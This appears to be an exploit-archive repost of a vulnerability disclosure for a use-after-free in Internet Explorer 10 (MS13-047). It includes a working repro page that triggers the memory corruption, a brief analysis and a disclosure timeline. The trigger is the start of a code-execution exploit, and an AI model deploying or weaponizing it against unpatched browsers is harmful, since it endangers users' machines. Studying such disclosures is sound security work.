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Microsoft Internet Explorer 10 MSHTML - CEditAdorner::Detach Use-After-Free (MS13-047) Exploit

Author

SkyLined

Risk

[

Security Risk Medium

]

0day-ID

Category

Date add

CVE

Platform

<!--
Source: http://blog.skylined.nl/20161125001.html
 
Synopsis
 
A specially crafted web-page can cause Microsoft Internet Explorer 10 to continue to use an object after freeing the memory used to store the object. An attacker might be able to exploit this issue to execute arbitrary code.
 
Known affected software and attack vectors
 
Microsoft Internet Explorer 10
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
 
Repro.html:
-->
 
<!DOCTYPE html>
<html>
  <head>
    <script>
      var oWindow = window.open("window.xhtml");
      setInterval(function () {
        try {
          oWindow.eval("(" + function () {
            document.designMode = "on";
            document.execCommand("SelectAll");
            var oSelection = window.getSelection();
            oSelection.collapse(document,1);
            document.execCommand("InsertImage", false);
            document.designMode="off";
          } + ")()");
        } catch (e) {}
      }, 1);
    </script>
  </head>
</html>
Window.xhtml
<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">
</html>
 
<!--
Description
 
The last line of script (designMode = "off") will cause some cleanup in MSIE, which appears to trigger use of a stale pointer in CEditAdorner::Detach. I did not investigate further.
 
Time-line
 
November 2012: This vulnerability was found through fuzzing.
November 2012: This vulnerability was submitted to EIP.
December 2012: This vulnerability was rejected by EIP.
January 2013: This vulnerability was submitted to ZDI.
March 2013: This vulnerability was acquired by ZDI.
June 2013: This issue was addressed by Microsoft in MS13-047.
November 2016: Details of this issue are released.
-->

#  0day.today [2024-12-24]  #

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Microsoft Internet Explorer 10 MSHTML - CEditAdorner::Detach Use-After-Free (MS13-047) Exploit

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We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Microsoft Internet Explorer 10 MSHTML - CEdit­Adorner::Detach Use-After-Free (MS13-047) Exploit

Report Error

Report Error

Microsoft Internet Explorer 10 MSHTML - CEditAdorner::Detach Use-After-Free (MS13-047) Exploit